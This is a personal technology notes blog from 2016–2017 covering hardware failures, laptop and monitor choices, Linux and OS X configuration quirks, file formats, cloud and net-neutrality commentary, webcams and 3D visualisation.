## Technology related projects

 Techdemo, 2012. 3D printing, 2012 Graph project, 2011 Structure from Motion, 2009,2007 Geodesics, 2009,2008 Flash PITF, 2004 Sofia AI project 2003/2004 CCP 2001 I,II

## Technology notes

18-07-2017: Links for a technology demo for today: An animated picture Strong lattice Fluid dynamics fluid Bubbles Vortex Sphere Surface cloud
11-07-2017: An important message of Vi Hart:
11-07-2017: I use my 12 inch macbook every day. Maybe 5-6 hours per day in average. Now 2 years old, there is now a battery service warning. Yes, the battery empties faster (5-6 hours now rather than 10) and looks fine but still, it seems that life will not last too much longer. Also the keyboard shows its time. I type a lot. Some keys lose their key marking which is not a big deal, others have started to become less reliable. I cleaned out some like the space key but removing it risks breaking up one of the tiny plastic latches (which happend to me). The keyboard would also need to be replaced. The risk is now here that one of the keys breaks for good making the laptop unusuable. I have done replacements of individual keys for mac air laptops before but it is quite expensive. To service the battery, 200 dollars, to replace the keyboard again at least 200, then the time to schedule appointments with the genius bar etc, a couple of hours and having the laptop not available for weeks. It would just not be feasable. I decided to use the still well working laptop now as a backup machine and get a new 12 inch one. The strategy to buy relatively cheap laptops but replace them regularly appears better than having an expensive one (Pro) but still face the same long term problems like battery, harddrive and keyboard, which just happen to fade after 2-3 years of heavy daily use. I use also the same strategy for bike which drives has at least 3000 miles per year. (I drive rain and shine, snow or heat, every day). After 2-3 years also, the bike starts to fail everywhere and servicing it costs half of a new one. Also here, "buy relatively cheap but replace often" appears to be more effective than having a really expensive one. Then there is the risk of having it stolen, which both for laptops and bikes are just there and which just would be devastating with 3 times more expensive laptop or 10 times more expensive bike.
04-07-2017: A vulnerability in RSA incryption illustrates that not only the mathematical security, but also the actual implementation is important. In this case it is the way how the modular multiplication is done. This allows to recover some of the bits. Important work as crypto security is crucial for a functioning society (banking, trade, health care, voting). See the Heise.
22-06-2017: Why does one use in HTML while TeX uses \infty? The discrepancy is kind of annoying. The infinity symbol was introduced in 1655 by John Wallis. But who is to blame for the incompatibility? I think it might have been HTML as the Unicode Consortium was incorporated in 1991 and the first versions built in 1986-1987. TeX was released in 1978. ASCII came earlier but does not feature the infinity symbol (which is kind of a shame if one looks at the other things which have been chosen instead: in the List of ASCII codes) . Apropos: the incompatibility between different languages is not a biggie. The extended ASCII flavours however were and we still have to suffer from the sins of coorporations trying to embrace and destroy competition and invented their own character or even ASCII versions. Still today, both in Adobe as well as in Word texts, one has characters like -, ", which look ASCII but are not. Platform specific character codes remain annoying. Its good that both the unicode and W3C consortium have got their grip together.
17-06-2017: Having switched my 4K monitor as a second monitor for the mac, I have tried a curved monitor (Dell UltraSharp U3415W PXF79 34-Inch). With a 3440x1440 resolution it does not match my 4K monitor with 3840x2160, but actually (maybe because my eyes also get older), I prefer to have a bit of a larger font while working. The widescreen (21:9) aspect ratio is very comfortable to work with. Here is a screen shot (click on the picture to see the full 3440x1440 pixel screen shot):
16-05-2017: A rare event: youtube is down. Interesting error message, (for google developers to debug): (click for larger picture) .
15-06-2017: A heise article illustrates how Etherum has heated up the crypto currencies. Ethereum is a gold rush, while bitcoin tanks (for now). These things are always a bit of a pyramide scheme but the block chain technology looks hotter as one can run code in decentralized applications. It also allows to build smart contracts. The Etherum virtual maachine is a turing complete software which can run any program it is kind of like a universal Turing machine. This makes it interesting in a more general sense. The Ether currency shows exponential growth ether or bitcoin.
10-06-2017: The SEO optimizers have become more sophisticated. It used to be stupid. But today, I got a personal email from a "math student" who for a "geometry project" needs to have a page linked to get "extra credit". Who does not want to help a student? The page however did not look like a project page. Yes, it had some information on it, but not done by a student and only remotely related to geometry. I asked back for the name of the school and the name of the teacher, but it was probably a waste of time. Must have been spam.
01-06-2017: An article in NPR about soundtracks produced by computer composers. This is fascinating. We have for a couple of times used Mathematica to compose. Examples> See also the lectures on Music and Calculus and AI.
31-05-2017: An other 5 hours of rebuilding my office machine. Since this is unpredictable, its good to do this between semesters. While switching hard drives, one of the SATA cables broke off. It was the Sata connector to one of the important drives which got stuck in the part of the cable, killing both the cable and he drive. I got really mad because it was a nice new harddrive. I decided therefore to get one of these hot swappable harddrive containers (IStar 2BAY 2 x 5.25 To 3 X 3.5 Cage) and also got new sturdy SATA cables. Since my workstations are silent Thinkmate machines, I was worried that the additional vent would be noisy but the enclosure shields it well. I did also a fresh install of the operating system as my SSD has gotten old. Some minor surprises in Ubuntu 17.04: Perl ignores now by default local libraries and local files. An entry "export PERL5LIB=./:$PERL5LIB" in the .bashrc file solved this really annoying feature. It was the @INC variable which is set when Perl is installed and which does not look for local libraries any more. What were they thinking? An other hick-up with the ftp server which accepts pictures from the LAN webcam. I should have known. Its not the first time, but if the configuration file (here /etc/vsftp.config) has not the right permissions and not owned by root, the server does not start up (without complaining). Ubuntu now talks too much, everything if one does ssh's into the machine. The chatty motd scripts are in /etc/update-motd.d. One could delete them but they might be handy at some point. The easiest to shut this off is to edit a file /etc/motd containing what one wants to display. Now it just gives a line telling when and from where the last login was. Also took the opportunity to upgrade Mathematica. 26-05-2017: Its rare these days to get into the case sensitive trap on OS X. I regularly sync a work directory from my office machines with my laptop which has a non-case sensitive file system. If two files like g.pdf or G.pdf are present in the same directory, one will bite the dust. Its usually no problem but I just got bitten by this once more. I format external drives on the mac with case sensitive file systems but it might still be a risk to do that for the main drive. OS X is well done and almost perfect, but the case sensitivity is one issue which needs to be solved. 24-05-2017: Spent an afternoon with a strange bug on my home machine. For some reason, the ubuntu installer always produces a garbled screen. The machine is fine, the graphics card is fine and works both under linux and windows, the install media are fine (work on an other machine. I excluded USB problems by using various flash drives, or USB harddrives, tried out various other BIOS settings and then also used an other monitor. I currently suspect that it is a low level graphics card mode which is buggy, either on the motherboard or then on the graphics card. Any way, an afternoon gone. 12-05-2017: Our phones are now voice over IP. It is funny how the information leaflet mentions "voice mail service has moved to the cloud". Dudes, its just VOIP, web, internet. But I guess, now everything has to be the cloud due to marketing reasons. One of the arguments against VOIP had always been redundancy and that things work even if the network is down. But as now most have cell phones, a traditional phone line in case of emergencies is no more so important. 26-04-2017: The registar of today mentions the plan of Ajit Pai (head of FCC) to kill net neutrality. No wonder, this guy was close to Verizon before going into politics. It would not surprise if he still is close to their lobby. Killing net neutrality could be one of the worst consequences of the Trump presidency which so far has a common theme: totally unqualified people are put into positions they never should be in. Even the relatively conservative "The Hill" calls it a "war on consumers". EFF calls the proposal "devastating for competition, innovation and free speech". Indeed, its consequences could be terrible both for the economy as well as for democracy. It is time to contact the representatives. 18-03-2017: The Google JPG encoder Guetsli is everywhere in the news. Here is the google blog and here is the paper explaining the iterative optimization. I could not compile it from scratch on an older ubuntu 14.04 but on OS X, it compiled well. A test with a first picture gave 7 percent reduction from 29981 Bytes to 27969 bytes. A compression with this picture did not go through yet. Probably too large. For the smaller version it took 40 seconds to reduce from 162589 to 120391 (35 percent). Not bad. But for the larger 12 Meg picture, a reincoding would take an hour. It would take days to reincode one of my panorama pages. Its not the first time that a swiss name has been used. There is also a Zopfli compression algoritthm by google. Why Swiss names? Some of the Google researchers like Jan Wassenberg are based at Google Zuerich. Wassenberg came from the Fraunhofer Gesellschaft, German research organization. The JPG 2000 data compression standard came from there which has, similarly than Guetzli a small compression advantage. It largely failed however because hardly any browser supports it (Firefox and Google chrome does not) and also because it is riddled by patents, which is a death sentence. [Update: In a test with a large panorama with 12 Megs, Guetsli worked for 2 hours and got out a 14 Meg version. The algorithm definitely seems have to have difficulty with very large files.] 12-03-2017: I do essentially all my work from a terminal. This is why crashes of the terminal app are especially annoying. I use xterm since about 30 years and it had always been stable, one all platforms, even on thin clients or over slow modems. OS X Sierra is the first exception. It is a known issue. I find it happening more frequently when editing files with long lines. Fortunately, unix apps like vim have built in recovery so that one does not lose data, when writing a program. Its still terribly annoying and the stability of fundamental apps like terminal should have the first priority. The issue has been known to apple since last fall. 26-02-2017: When trying to upload this clip it took only seconds for being banned from youtube. While this spoof was accepted (with adds), the Rammstein clip is seriously protected. One definitely has to accept evenso, I believe fair use still applies: no monetary part, no damage for the producer. It is maybe not sufficiently small. 18-02-2017: An alarming trend: IT job reductions in the US. Of course due to the increased centralization. Also universities have the trend and outsource more and more of the IT. It is sad, as it used to be that the IT developed and maintained at universities were on the cutting edge. It was encouraged to tinker and experiment with technology. Now things to to third parties, companies which can do things cheaper in a centralized manner, possibly abroad or in data centers where labor is less expensive. I personally believe this will come with a great revenge. First of all, the IT reduction trend is demoralizing for young students interested in tech. Actually this demoralizing effect could hit us in a few dozen years very hard and in many ways. But managers tend to think short term, even at universities. Here are a few reasons why thinking short term is dangerous: 1. It becomes already today harder and harder to convince a young person to pursue a STEM career. The myopia of leaders not understanding the fear of becoming obsolete and powerless has even led to Trumpism, a phenomena not even dreamed of one year ago. 2. Centralized data centers (lets call them the "revenge of main frame computing and thin clients") pave the way to a risky future. A meltdown of a major player now already would risk the operation of industries, university or even the economy. 3. We are still in a "buy in phase", where vendors dump the prizes to destroy competition and local IT structures. Once gone, everybody will be hooked and is required whatever prizes are prescribed by the soon to be monopoly. We see that already in internet access, where the prizes are unreasonably high, due to the lack of choice. 4. History shows how fragile a political landscape can be (and how important technology can be to manipulate). I think that the current IT structures built (a few big players controlling information) has made it already much easier that a totalitarian state can become a possibility (even in the US). There are some flood-gates and safeguards in place, one of them (on the technology side) is strong cryptology, an other the availability of open source operating systems, but there could come a time when it will be difficult for a new start-up to enter the field and compete as the important information structures are controlled by a few players who own the patents, the pipes and the power. But there is not only doom: we also live in a great time of technology. Our operating systems in desktops (like linux) have become rock solid. Even a personal data center of a dozen tera bytes of data have become cheap. And being able to carry around an entire library of books in the phone would have been just unthinkable 15 years ago. P.S. I just remembered that I made my first steps in computing on a main frame using thin client. This was convenient. I did not have to carry around floppies and backup things myself but it was also risky and indeed, for some reasons, I have lost most of the work done on that main frame. Only some printouts survived. I would give a lot to get back what I wrote at that time about finitely presented groups, to recover the projects done as a course assistant (like a cool project in which the students had to write an AI program solving the rubik cube. This means not just implementing a solution of the Rubik but finding a solution path using the Schreier algorithm!). To be fair, I lost also source code to many pascal programs I wrote as a student on the Macintosh or Atari. There it was just negligence to backup things properly or having misplaced the backup floppies. But I have still tens of thousands of pages of not -yet- digitized diary books with mathematics and programs rotting in the basement. Maybe I will once dig through that and scan a few things in. 28-01-2017: Its a complete disaster still with USB C hubs. There is none which allows charging and using other USB C devices at the same time. There is one product on the corner but pre-ordering is not so much my thing. I need to have something right now and guaranteed. It seems however to be a fact that there is nothing available which allows to use the Macbook access an external USB C drive additionally to charging. Currently, if I use my USB C drive for a backup, the battery will be drained until everything is backed up. I turned therefore for a network attached storage solution for my laptop backups (and then of course, the local syncs from laptop to desktop which are done with "rsync"). 23-01-2017: A great Ode for VIM, and especially its attitude to innovation and features. And especially the urge of developers for UI rewrites or features changing the workflow or worse, compatibility. I myself write everthing in vim, from simple notes, latex documents, html documents, programs (even if programming languages offer their own file format) etc. VIM is now 25 years old. It has improved quite a bit. A decade ago, I started to warm up for syntax coloring. 10-01-2017: Some pictures showing the strange green spot. Obtained in Panoramas. Looks Spooky. But has an explanation. Just strange that in that case, the flares always appeared to come from the same spot in the meadow.... 06-01-2017: Just upgraded the phone. A first test of the camera of the iphone 7 in the Boston Library Compare the pictures in Blockisland which were done with the iphone 6 and still had 40 Megapixel. The new panoramas have 60 megapixel. 28-12-2016: Advertisement works. After seeing Casey Neistat flying and using a Gear 360 camera, I needed to try it out. Especially, after having done work in Summer 2007 and 2009 with Jose Ramirez on 360 degree camera structure from motion mathematics. The camera arrived today. Its nice, small and handy. Easy to use. Not like the 360 degree camera picturs and movies done since 2006. My first 360 degree movie was done on March 7, 2006, more than 10 years ago, and I had to write the unwrapping software by hand in C. Now its very easy. Just push a button. Unfortunately, Samsung really sucks when it is about compatibility: as they want to sell their phones, no other platform is supported. The movies produced by the camera can not be opened in Quicktime. The stitching software only works on Windows (no Parallels support yet). Anyway, here is a test. 14-12-2016: An amazing NYT article about AI in translation. Intelligent tasks are now faster replaced by bots than manual work. In a lecture on AI, for a Math 1A course, where some of the lectures were taped for a HILT project the question was whether calculus teachers and professors in general will be replaced by bots. Its a rhetorical question of course because all MOOCS and online lecture efforts are part of that trend (they are pushed by universities in particular to reduce the teaching staff in the long term). There is no question that this will going to happen also education more and more, not only in law, medicine or finance, where AI already plays an important role. There is a silver lining: we have seen that the cyborgs were not coming on mass (Google glass did not crash because of technology but because google glass wearers became Glassholes) and robots might have a hard time too (Google sold Boston dynamics not because the technology has no future but because of the PR disaster of the company seen as a job killer (especially this movie). In the case of software, it might be realized only much later, when software engineers are no more needed. The argument "we will then just do the more interesting stuff" does not work any more if the machines already start to do exciting work. And understanding text in context and translating it well is already challenging. Soon, the neural nets will start to program and test and develop independently. The fun will stop when the time comes and software companies like Google will no more hire humans any more, because the machines do it better. Kurzweil made a splash a decade ago by predicting this to happen in the near future. Its funny how we predicted hardware advancement much too optimistically (flying cars, humans on mars etc). In software AI, the flying cars already do exist. 11-12-2016: PDF compression used to be quite well done by Acrobat Pro. As this app is now no more available as such (only per subscription, a app delivery model I by principle avoid, as a user needs to be in control to update or refuse an update), one needs to look for alternative. I have tried a couple of squeezing apps, or online compression tools but they are disappointing. What happens often is that after some editing of the PDF (trivial things like removing a page), the preview app on OS X has blown up the PDE considerably by a factor 2 or 3, sometimes even 10). I currently deal with a 60 Meg PDF (a 500 page book) which had been nicely OCR'd, but has after an edit with "Preview" grown to 180 Megs. "Acrobat Pro" (my old stand alone version) as well as cheaper apps like "PDF Squeeze" did not reduce at all. "NX Power lite" was the best so far and could reduce it to 120 Meg. I can not bring it down to the original 60 Meg although. Here is my ultimate dream app (which does not exist yet and will probably not do so for a while): The application reads the PDF, extracts text and formula, pictures and rewrites a LaTeX document with embedded pictures. Now, it compares a raster screen shot of the newly generated PDF with the old one, adapts the TeX code until a match is complete on a raster level. This might need to replace some text (like unintelligible parts) with pictures until one has reached a "fixed point". The format DjVu already does a remarkable job in splitting a document up more intelligently. I doubt it will replace PDF. One reason now is that smart phones and tablets can not read them without special apps. And in general, anything which needs special applications should be avoided. This for many reasons, one being that apps also often report, what you are reading, for how long, when etc. or worse, that they suddenly stop working when the developer disappears or pull the plug. I personally say "no" to "news apps", "video apps", "reading apps", or "streaming apps" as the user loses control in each case (for example to store the content for later view). 31-10-2016: No escape key for the mac book pro. Well, I could not afford it anyway but this is a deal breaker. I do all my work with the "vi" editor. The caps lock key could have gone without problems, but not "esc". Yes, one could reprogram it to an other key, but I need first to see whether this works for me as I hit the escape key probably 1000 times every day. Update of November 22: after remapping the escape key to caps lock (the most terrible key), I think I can actually could get used to an eternal remap. By the way, I had for 10 years used exclusively the Happy hacking keyboards and still have some of them lying around. One of the best features had been the lack of the caps lock as well as the lack of windows key. It could however happen from time to time that a weird key combination would trigger the caps lock, which required to know the magic key combination to reverse it. Update of December 5: Remapping the escape key to "caps lock" did not work well after all. One reason is that one of the most often used keys is which I use for command completion. For some reason, I mixed up tab and command too much, especially when working intensively. Its like when playing piano, much reflexes are "in the fingers" and "not in the brain". This is good so, because when writing, one does not want to spend CPU time on thinking where to type but focus on the actual writing. Thats for me the reason, why I universally use one editor for everything. Writing in a web interface is sometimes necessary but annoying: on "canvas" when writing emails, the lag can be so big like when writing on a 56 K Modems in the old times. When writing on a Wordpress page, one gets also reminded how horrible editors can be. Even little things like "new line" wrapping which online editors take seriously disallow to write structured text. 28-10-2016: Two announcements which came about at the same time: When looking at the page views, Microsoft clearly wins. The Microsoft studio looks nice. In innovation, MS is ahead in this announcement. But les see how the devices actually sell. I myself can not imagine bending awkwardly over the computer screen, when working, always looking for that shiny silver wheel, lifting the screen up each time, I want to write something. It is kind of a brutal realization that innovation alone does not always pay off. The tools have to work. Well and reliably and safely. And guaranteed to be supported for some time. And as a general rule in technology the pundits are most of the time completely wrong, they often simply have no clue. (And this blog entry is included in the assessment.) Too innovative creations can turn off customers because they feel that the idea might be abandoned, if not successful, leaving them stranded. About innovation for the Macbook Pro: already leaving away standard USB ports in the new Mac Pros is daring and led to a lot of critics even so, with guarantee, the old USB ports will in a few years be legacy and a sign of dusty old stuff' like floppy drives, SCSII interfaces, CD ROM. And soon, the spinning hard drives will be gone too. (One could be wrong here and spinning platters could be with us for 10 more years too). The Galaxy 7 disaster has shown that sloppy innovation or optimization can cost billions. The copy cats are fast. The Iphone innovation (june 2007 announcement) helped apple, but already months after the introduction of the iphone, in 2008, android was there (alpha versions were there already before the iphone announcement, making clear that already in the developent phase of the new operating system for the phone, the copy machine has been turned on). What kept apple alive was the solidness of the operating system, I actually don't recall any phone crash ever. It is simply mind blowing how fast innovative ideas are copy-pasted in our time, sometimes even before the original idea has been realized by the innovator. Lets see which of the two devices (Studio or Macbook Pro) will sell better. There are very smart people in both companies. Apple sees that these years, the PC currently loses out towards the laptop as more and more work is done on the go, in coffee shops, at home, at the beaches, in the mountains, and no more in the office and content is kept on servers. The Mac Pro had therefore priority over the Desktop Pro, which is in a limbo. The studio could become a hit, but it also could just remain a niche product (from a practical point of view, the bendable screen needs quite a bit of real estate, how stable is that screen actually is and how many times one can lift it up until the stand breaks or whether one can push on it hard as one does when working on paper; how is the silver wheel powered (batteries?), how many cables were not shown?). The studio is more like a competition to the iPad Pro or a Wacom tablet, which both are more portable and work similar as a paper surface to draw and do not need cables, can be carried around on the sofa or taken outside etc). I can imagine in future to have a foldable and lighter Ipad which comes with a pencil allowing wireless charging, to replace paper and pencil eventually. Still, with my Ipad Pro and super cool/expensive 100 dollar pencil, I still stick often to paper and pen. I would love to have some cash available to get the new macbook pro. Especially the Terabyte harddrive (final cut or presentations and electronic books and media use a lot of harddrive space) and the fast processor and more RAM would be a blessing when using mathematica. For now, I love the Mac book. As for my main work PCs (who do more and more work for me all day), I stick with high quality, reliable and quite Iron in the form of thinkmate workstations. Old fashioned PCs have their use too: they are at a fixed location and so in a stable environment, more safe, more reliable. They work uninterrupted all day and night and are customizable. Apropos the later, my dream configuration would be a 40 TB harddrive, 1 TB RAM, 22 core Intel Xeon monster for 20'000 dollars. I myself have only a 2000 dollar versions both at home and the office, but they are great and together produce a reliable two location backup, (with long term backups even at an even other undisclosed location, not the cloud" of course). And one can update the screen independently. 26-10-2016: A register article about cloud compares computing with a commodity. Readers there (the register reader community is pretty strong), pointed out quickly some fallacies of the analogy of comparing computing with food, gas or electricity: the vendor lock-in is rather strong and in if things go like with ISPs, there will be much more consolidation and lock-in leading to price hikes in the future, once everybody has become a junkie. The global risks are enormous if core business functions of many companies are in the hands of a few. A melt-down of a major cloud provider today already would not only cripple businesses or universities. Because it happens at the same time, it could also trigger a global catastrophy. [Update March 2, 2017: register: AWS failure. Many students at harvard had been affected during exam times as their course websites were not available any more. I keep the course website on a unix server, which was not affected. The story illustrates again that it makes sense to diversify and decentralize IT and allow for redundancy (I can switch over to an other server within a minute as the published page is a mirror itself). 21-10-2016: Since the webcamera is windows only, and under wine or crossover, the configuration did not work, I had to get installed Windows 10 under Parallels. To get there, some hurdles needed to be passed, to be finally get it (one can not use a harvard email address for example to register at Microsoft when buying a home edition). Then, from an old registration, there were first confirmations and reactivation processes necessary. The installation under Parallels went pretty smooth however. Not longer than a Linux or OS X installation. Microsoft has made much progress there. The Windows edge browser however was a NO-GO for the webcam. Under Internet explorer, the Trendnet plugin started to work and I could finally close those damn IR lights. (I had first over glued them with black tape with the effect that also the light sensor got mixed up, rendering the camera blind). Here is "first light" at night without the LED: 12-10-2016: I had run a webcamera for 10 years from 2000 to 2010 from my old office Science center 434 (which is now part of the common room). I just got a new one (trendnet). It is cheap, comes with a terrible "windows only compatible" interface (and a cam which has a reputation to be hackable) but fortunately, it can FTP to my office machine. The cam is not on the web and only accessible from the internal network behind the firewall. The picture gets pushed regularly to the webserver: click on the picture to get the latest picture. here is the Plaza webcam which streams and the Science Center Webcam [Update evening: having the IR lights behind the window is not a good idea. I will have to turn them off but I can not without running Windows.] 10-10-2016: Last Thursday night, one hard drive on an office machine started to corrupt files (only a handful were affected). Obviously I had waited too long with prophylactic hard drive replacements. Indeed, that one was 3 years in place. I have several backup drives (mirrored, on different machines) so that it was no problem to switch over Friday morning but I work now on one of the "green" backup drives, which is slower. Still, it was annoying to see individual files starting to become unreadable, one does not know at first, how far the rotten sector goes and needs to check, whether some backups have been affected too and also restart scientific computations which were running in the background. For such runs (which are alive over months or even years) it is really helpful to write data continuously onto the hard drive and having the programs work in such a way that one can restart them even in a failure or power outrage (like last Sunday, when the science center power went out (announced for a few hours). Fortunately, rsync chokes, when encountering a funny file. In such incidents, its always good to have a few hours left for checks, especially as one does not want to lose work done during the switch-over time. Having completely independent backups on other machines and long term backups helps. Still, I think to go back to a rigorous replacement of hard drives, even if they are healthy. For a moment this weekend, I had been tempted to get one of those 4 TByte SSD drives just to try out. But the prize (now still over 1000 dollars) is too high. I have all my linux operating system drives on SSDs since 2010 but it would be nice to see what difference it makes for the main drives. On an older iMac, I had once replaced the main drive with a 1T SSD and it had put new life into that 7 year old mac. How long until the 4TB SSD drives become cheaper than the spinning platter versions? I guess it will happen within the next 5 years. [October 29: just saw that Harddrives are now awailable in 10 TB size]. 01-10-2016: A rehearsed version of my talk given in Philadelphia: 30-09-2016: Some things seen at a 3D printing session: John Zweck has some nice models illustrating continuity. In 21a, we just covered on Monday with the case f(x,y) = x2 y/(x4+y2), the textbook example of a case where the radial limits are all zero but the limit along some parabola is not zero. The picture to the right was rendered with the code of John, just used different color. A nice blog also by Elizabeth Denne. 25-09-2016: A new technology venture: 21-09-2016: Installed Sierra OS X, 10.12 on the mac. Not a smooth upgrade. Trashed my terminal settings (a small issue). More serious is that Mathematica 11 now crashes regularly when using 3D graphics. Even after a fresh reinstall of Mathematica. Bummer. [Update 9-22. Wolfram confirms the issue. Update: 10-2. The new version 11.0.1 of Mathematica works now well.] An other change: like also the newest Ubuntu distributions, SSH is now upgraded so that it does not connect any more to older ssh servers. Needs an entry HostKeyAlgorithms +ssh-dss below the line Host * in /etc/ssh/ssh_config . This of course makes SSH connections less secure but is the only way to connect to older servers until they are updated. 18-09-2016: New google earth experiment. The program Sketchup now does not feature 3DS any more (just fails to import on Sketchup Pro) But DXF of Autodek worked. The Penrose triangle was imported as a DXF file. With the basic sketchup, the 3DS is the format to choose as DXF is not supported. What a mess with 3D file formats. Having something which works universally for mathematica, 3D printing, Google earth and basic tools like Meshlab seems impossible. Shapeways for example accepts X3D for color prints. Mathematica can not manipulate (even import) kmz files generated by Sketchup. 03-09-2016: Had some strange routing problems with my office machine with intermittent loss of DNS info. It was the router (I keep both at home and in the office an additional router between the web and the machines), which means at home that there are two routers as the router provided by the ISP must be considered compromised (the ISP has administrative access to it). After replacing the router with a new one, things worked again nicely. Afterwards also upgraded from Ubuntu 14.04 to Ubuntu 16.04 as once one is aggravated, it does not matter to become a bit more. The upgrade went very smooth. As it was unexpected (in the past, this always broke some things with my non-standard setup), I'm grateful. 02-08-2016: This summer, there were a couple of email messsages which just did not get into the mailboxes. From canvas seems that the unconventional canvas format (no sender address, the use third party server etc makes the filters nervous). Also some classical emails from students did not arrive at my destination. In one case, we could trace it to an email plug-in which track whether the email has arrived. If you should use such an add-on, better turn it off, as your email might get labeled as spam (the involvement of third party servers is a sign of a test whether the email works). Such games anyway do not work for many email clients as more and more, the default is to ignore contacting third party servers which is how it should be. 15-07-2016: Here is an other google earth test. Recorded on a macbook. This reminds me: in 2007, I had been a faculty advisor for a Harvard group called "3D Harvard" led by Jason Gao. The goal had been to digitize Harvard for Google earth. I myself helped with the Widner library (particularly simple). The group did make quite a bit of progress: an example: Thayer. I still have my photos, made of Wider library hoped to be used for a nice 3D model. The steam went a bit out of the group, once we realized that Google was must faster and more accurate with automatically building the 3D objects from maps. This might also have been one of the reasons, why google sold Sketchup: the machines are just much more efficient than the community in building up the world! The following video from 2016 shows the progress done. I myself have constructed the science center in Povray in 2001 (shortly after arriving at Harvard. It took me weeks to build that): The source files are here and to the right is the output: 10 years ago, Google started the 3D buildup of buildings. Here is a capture from 2005 without flight simulator, when google earth was not yet on linux so that it ran on a virtual machine under vmware. Now we almost have a computer game. I made the following video on a tiny macbook and not on a stronger desktop on a wireless internet connection in starbucks. But it gives an idea about the progress: Link frameborder="0" allowfullscreen> 10-07-2016: My 7 year old imac (running for 7 years day and night) finally died. Obviously heat (we don't have air conditioning and that particular 27 inch model had always had a bit of cooling problems). I'm forced now to do video editing on the laptop. Just did some editing of a 1minute movie on my laptop. Finalcut grabbed 100 Gig (some optical flow analysis). Always working at the edge of HD capactity is annoying. Can not wait until Macbooks come with 1T harddrives. 16 Years ago, when we moved to Arlington, I had still 1Gig external harddrives When we came over in 1993, I still had all my files backed up on floppies. That one minute final cut project would now fit on 100000 floppies. 10-07-2016: Updates on Cellular automata. Here are some cool ones: Walled Cities, Gnarl, LSD or Maze. 21-06-2016: WebGL is great. Here is a visualiation of quaternion primes. I had kept a demo file NaCLb5 demo template (the author is unknown), which was used as a basis. While looking for modern guides for 3D visualizations in WebGL, almost all you can find are huge library based examples. I like selfcontained, small things which guaranteed will work in 20 years as everything, even the UI parts are in. There are large frameworks like Threejs. Unfortunately, the IOS support is still bad. One can see the WebGL but not interact. Some really cool things have been done in WebGl. A nice example, is this Physics plugin< for threejs. 14-06-2016: Big victory for net-neutrality. New File system coming to apple. Its time this crazy case insensitivity in HFS+ goes away. Its still not recommended to format the boot drive as a sensitive system. I constantly have identified files by syncing to my laptop. Fortunately sync not really merge them. 13-06-2016: Our old Jane Austin DVD collection (BBC series) was seen so often that the DVDs got scratched. Especially since they are double sided DVDs. I bought them twice. Now, they start failing again and I wanted to rip with Handbreak. Does not work any more. Also an old backup version now fails. I bought now Pavtube Byte copy for the mac, which works nicely and produces nice .mkv files with subtitle options. I like the Matroska Multimedia container format more and more. Its an open standard, the VLC player presents it nicely and like DVD's restarts where seen the last time. The converter also allows to make 1-1 disk copies so that one can play the local copy with DVD player. 13-06-2016: MS buys Linkedin: an other worrisome power-grab, which I'm not at all happy about. Its clear that since the phone business and game business have both crashed, the company needs to expand in other area. So far, I had liked linkein, but I might have to delete that account soon. I had liked Skype too, until MS took it over. The problem with these services is that they need to make money eventually. At the beginning, it is honeymoon and free, until a critical mass of users have signed up, then a big buyer slurps it up, squeezes as much money out of it as possible, means spam, adds, premium services" having your data sold etc, then discards it. Its still too early to judge, but I have no doubt that MS will have no scruple to sell the company again if it will not make money. That buyer will then sell it to the whoever can squeeze out even more from the user data. Its the circle of life. 10-06-2016: A USB C - Lightening cable, I had got from a third party (FlashTech) used to work well with my 12 inch laptop. Since the last IOS update of my iphone, it gets locked out. There is a complain: "This cable or accessory is not certified and may not work reliably with this iphone". No option to proceed on your own risk, the iphone now just refuses to use the cable. The cable is ok. I can use it very well with an old ipad, which I have refused to upgrade due to hardware limitations. While I understand that companies need to protect their hardware, this is way over the top. While googling, I'm surprised to learn that others have had this before like 2014. I got the cable in late 2015 and it has worked before. Maybe, the database of certified cables has changed recently. Maybe also that the cable has a history of problems. [ Update June 13: actually, it might even have been that my own problem with the USB plug had its origin with that cable. See the earlier story. It might be that cases like mine has led to a purge of non-authorized cables. Well, USB C is still too fresh it seems. ] 01-06-2016: A just uploaded video is also a test on technology in producing high res 4K animations. A youtube version from more than a year ago. Vimeo is better in allowing downloads in 4K resolution. 12-05-2016: . The Harvard Summer school also moved to a search only catalog. Today, I wanted to look for my course with search but there was no match. 5 other courses show up. How Bizarre! Not that we need more students in that course, but I can imagine that for other courses, such non-sensical search results matter. The solution would just be so easy: just dump a list of all the courses in one single document (361 courses times 200 Bytes is about 50 KBytes). Its still 20 times less Bytes than the Java script (about 1 MBytes) which is just used to serve the database results. When the college moved to a search only catalog last year, they asked a few incoming freshmen to search for courses and gave prizes away for finding them. It is funny to see the future elite given prizes for such a task but its in the same time maddening. When I mentioned this search problem at a town hall meeting, a solution promised was an API for search. But APIs have the same problem: they are impossible to audit. And APIs are very frustrating because they evolve or disappear leaving users stranded. Thats why the entire "semantic web" idea which was hyped 15 years ago, failed and simple "information dumps" have succeeded. Yes, they are technologically boring but they work. 04-05-2016: Just after restoring the OS on a repaired ibook, quicktime 7 lost some abilities (despite the fact that I had made a 1-1 copy). Quicktime 7 was a great product. but seems not be maintained well and also needs to be purchased (even from a backup, one has to reenter the registration code). Apple should add back basic export and editing abilities to the standard quicktime application (we need only export and copy-paste features as in quicktime 7, nothing fancy. The trimming feature is not enough. Quicktime 7 is nice, as it does not require for any little piece to fire up "final cut", which for small tasks already fills up hard drive space and after every use, requires to be purged in order to regain space and avoid to see traces of old projects. 29-04-2016:  As I need to process hundreds of Mathematica submissions, I also need to automatically batch translate .nb mathematica notebooks to .m texfiles. Mathematica notebooks can be suckers. Yes, also the .nb file format is a textfile but with insane markup making the content almost unreadable for humans or dynamic content. Mathematica sometimes has problems with quitting processes. It used to be Java processes which had to be killed by the script processing things, now there are NBImport processes locking up and preventing Mathematica to restart (without any warning, just plays dead). Here is a script killm which needs to be invoked by other scripts to "clean out the pipe". Its also handy to kill Mathematica (which likes sometimes to "compute" and lock the user out even preventing to quit the program). Unlike other operating systems, Unix is great that the user has the last word, when working on the operating system level. On OSX one has lost some of the abilities, but in Linux, the user still has full control. Of course, developers of programs like firefox, mathematica, gimp, rythmbox want their programs not to quit so they cling on, even if the users want to quit them or if they are stuck and even the good old Ctl+C or Ctl+D are disabled out by the developers. Thats when scripts like "killm" are handy. In scripts, processing automatically what human work with graphical user interfaces would need days to do, such "nuclear blasts" are handy. Dodge this! 28-04-2016: More and more companies seem to use email tracking techniques. I currently process 300 mathematica project submissions and got some emails using a "mixmax" Plugins, where the attachment is not displayed but tracked and delivered on request. The idea is that the user can see whether the attachment is opened. Does not work with me, as I use the good old "mail" program to read email (a very convenient way is also to read directly the inbox "vi /var/mail/knill" as the simplest way to find anything is to open it in an editor or use good old unix tools 